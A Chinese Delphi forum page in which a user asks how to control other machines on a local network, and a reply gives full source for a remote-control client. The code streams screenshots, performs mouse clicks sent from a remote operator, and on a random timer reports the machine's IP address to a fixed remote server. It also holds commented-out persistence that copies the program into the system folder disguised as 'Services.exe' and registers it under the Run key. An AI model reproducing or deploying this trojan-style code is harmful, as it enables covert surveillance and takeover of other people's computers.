我想控制局域网上的其他机器,比如抓屏,发信息等。具体怎么实现?谢谢
解决方案 »
- delphi如何使用正则表达式提取链接的文字?
- 多个远程sqlserver数据库如何更新到同一局域网(比较大)内服务器上??
- 请教一个椭圆算法
- 如何让TStringGrid 的cell高亮显示?-----告知答案绝对给分
- 无标题窗体的问题,要求用api函数解决!!!
- 在调用一个DLL时,出现这样的错误:“Invalid pointer Operation”是什么原因?
- 关于数据统计的一个小问题,来者有分
- 高分解决大难题!(200)
- 急:请问这个XP上的事件到底是什么东西?
- 简单问题:在delphi中怎样得到应用程序启动时的参数字符串?谢谢
- 网络文件传输
- 1.如何锁定计算机;2.如何将屏幕黑屏;3......
unit UnitClient;interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, StdCtrls, ExtCtrls, RXClock, MsgSimulator;
type
TClientForm = class(TForm)
Label1: TLabel;
IpClient: TClientSocket;
RemoteServer: TServerSocket;
RxClock1: TRxClock;
MsgSimulator1: TMsgSimulator;
Edit1: TEdit;
procedure RxClock1Alarm(Sender: TObject);
procedure FormClick(Sender: TObject);
procedure IpClientConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure IpClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure FormCreate(Sender: TObject);
procedure RemoteServerClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure RemoteServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure RemoteServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
Protected
LeftSize:Longint;
CurHandle:THandle;
jpegStream:TMemoryStream;
private
{ Private declarations }
procedure sendscreen();
procedure snapscreen();
Function GetIpAddress:string;
public
{ Public declarations }
end;const BufSize=2048;var
ClientForm: TClientForm;implementation{$R *.DFM}uses
Winsock, Registry, Jpeg;//发送屏幕
procedure TClientForm.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
RemoteServer.socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;//截屏
procedure TClientForm.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;// 返回本地IP地址
Function TClientForm.GetIpAddress:string;
type
TaPInAddr = array [0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe : PHostEnt;
pptr : PaPInAddr;
Buffer : array [0..63] of char;
I : Integer;
GInitData: TWSADATA;begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;procedure TClientForm.RxClock1Alarm(Sender: TObject);
begin
//随机定时,到时间打开,连接到远程IP服务器(地址是固定的)
try
IpClient.Open;
except
//Application.Terminate;
end;
end;procedure TClientForm.FormClick(Sender: TObject);
begin
IpClient.Address:=edit1.text;
IpClient.Open;
end;procedure TClientForm.IpClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
//取得本地IP地址并发送
Socket.SendText(GetIpAddress);
socket.Close;
end;procedure TClientForm.IpClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
//出错类型
errorcode:=0;
end;procedure TClientForm.FormCreate(Sender: TObject);
var
// Reg:Tregistry;
SysDir:string;
begin
//发送本程序到system目录夹,以后自动启动
// Reg:=Tregistry.Create ;
// Reg.RootKey :=HKEY_LOCAL_MACHINE;
jpegStream:=TmemoryStream.Create ;
{ if not reg.KeyExists('SOFTWARE\Robbot') then
begin
Reg.CreateKey ('SOFTWARE\Robbot');
Reg.openkey ('SOFTWARE\Microsoft\Windows\CurrentVersion',true);
SysDir:=Reg.ReadString('SystemRoot');
Windows.copyfile('Services.exe',pchar(SysDir+'\Services.exe'),true);
Reg.closekey;
Reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Services','Services.exe');
Reg.CloseKey ;
end;
Reg.free;
}end;procedure TClientForm.RemoteServerClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
end;
procedure TClientForm.RemoteServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr,Head,ClickStr:string;
CurX,CurY,ClickNum:integer;
p : TPoint;
begin
rstr:=socket.ReceiveText;
Head:=Copy(rstr,1,4);
if Head='Clik' then
begin
Delete(rstr,1,4);
ClickStr:=Copy(rstr,1,1);
ClickNum:=StrToInt(ClickStr);
Delete(rstr,1,2);
CurX:=StrToInt(Copy(rstr,Pos('!',rstr)+1,Pos('?',rstr)-Pos('!',rstr)-1));
Delete(rstr,1,Pos('?',rstr));
CurY:=StrToInt(rstr);
//取得WINDOWS句柄
p := Point(CurX, CurY);
CurHandle := WindowFromPoint(p);
Assert(CurHandle<>0);
SetCursorPos(CurX, CurY);
//双击事件
if ClickNum=2 then
with MsgSimulator1 do
begin
Messages.Clear;
Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
Play;
end
//单击事件
else if ClickNum=1 then
begin
with MsgSimulator1 do
begin
Messages.Clear;
Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
Play;
end;
end
//右键事件
else if ClickNum=0 then
with MsgSimulator1 do
begin
Messages.Clear;
Add_ClickEx(CurHandle, mbRight, [], CurX, CurY, 1);
Play;
end;
sendscreen();
end
//发送屏幕
else if rstr ='Show' then
begin
sendscreen();
end
else if rstr='Stop' then jpegstream.Clear
else if rstr='Comp' then jpegstream.Clear
end;procedure TClientForm.RemoteServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
jpegstream.Free;
end;end.